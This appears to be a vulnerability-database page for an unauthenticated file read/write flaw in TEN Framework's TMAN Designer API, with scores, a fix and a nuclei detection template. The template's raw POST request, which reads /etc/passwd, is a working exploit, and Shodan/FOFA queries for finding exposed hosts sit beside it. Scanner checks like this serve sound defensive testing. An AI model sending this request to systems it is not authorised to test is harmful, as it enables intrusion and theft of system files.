Browse / CVEs / CVE-2026-85688
CVE-2026-85688· ten-framework / ten-framework· CWE-306
TEN Framework - Arbitrary File Read & Write
criticalseverity
9.8CVSS score
2.6%likelihood of exploitation, next 30 days
86%of all CVEs are less likely
Readycheck to confirm it
TEN Framework 0.11.71 contains unauthenticated arbitrary file read and write vulnerabilities in the TMAN Designer file-content API endpoints, letting attackers read or write arbitrary files and execute code. The exploit requires no authentication.
Impact
Attackers can read and write arbitrary files and execute code, potentially leading to full system compromise.
Fix
Update to the latest version of TEN Framework.
How to confirm it
Send: POST /api/designer/v1/file-content
Positive when: contains_all(body, "\"status\":\"ok\"", "\"data\":{\"content\":\"", "root:") and contains(content_type, "application/json") and status_code == 200Run it with nuclei: nuclei -id CVE-2026-85688 -u <target>
The full check
id: CVE-2026-85688
info:
name: TEN Framework - Arbitrary File Read & Write
author: aryu-ru,geo-chen
severity: critical
description: |
TEN Framework 0.11.71 contains unauthenticated arbitrary file read and write vulnerabilities in the TMAN Designer file-content API endpoints, letting attackers read or write arbitrary files and execute code. The exploit requires no authentication.
impact: |
Attackers can read and write arbitrary files and execute code, potentially leading to full system compromise.
remediation: |
Update to the latest version of TEN Framework.
reference:
- https://www.vulncheck.com/advisories/ten-framework-0.11.71-unauthenticated-file-read-write-via-tman-designer
- https://github.com/TEN-framework/ten-framework/issues/2187
- https://github.com/TEN-framework/ten-framework/blob/0.11.71/core/src/ten_manager/src/designer/file_content/mod.rs
- https://nvd.nist.gov/vuln/detail/CVE-2026-85688
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-85688
epss-score: 0.02641
epss-percentile: 0.8571
cwe-id: CWE-306
metadata:
verified: true
max-request: 1
vendor: ten-framework
product: ten-framework
shodan-query: http.title:"TEN Manager"
fofa-query: title="TEN Manager"
tags: cve,cve2026,ten-framework,tman,lfi,ai,unauth,vkev
http:
- raw:
- |
POST /api/designer/v1/file-content HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"file_path":"/etc/passwd"}
matchers:
- type: dsl
dsl:
- 'contains_all(body, "\"status\":\"ok\"", "\"data\":{\"content\":\"", "root:")'
- 'contains(content_type, "application/json")'
- 'status_code == 200'
condition: andReferences
- https://www.vulncheck.com/advisories/ten-framework-0.11.71-unauthenticated-file-read-write-via-tman-designer
- https://github.com/TEN-framework/ten-framework/issues/2187
- https://github.com/TEN-framework/ten-framework/blob/0.11.71/core/src/ten_manager/src/designer/file_content/mod.rs
- https://nvd.nist.gov/vuln/detail/CVE-2026-85688
Use this check only on systems you are authorised to test. Where the data comes from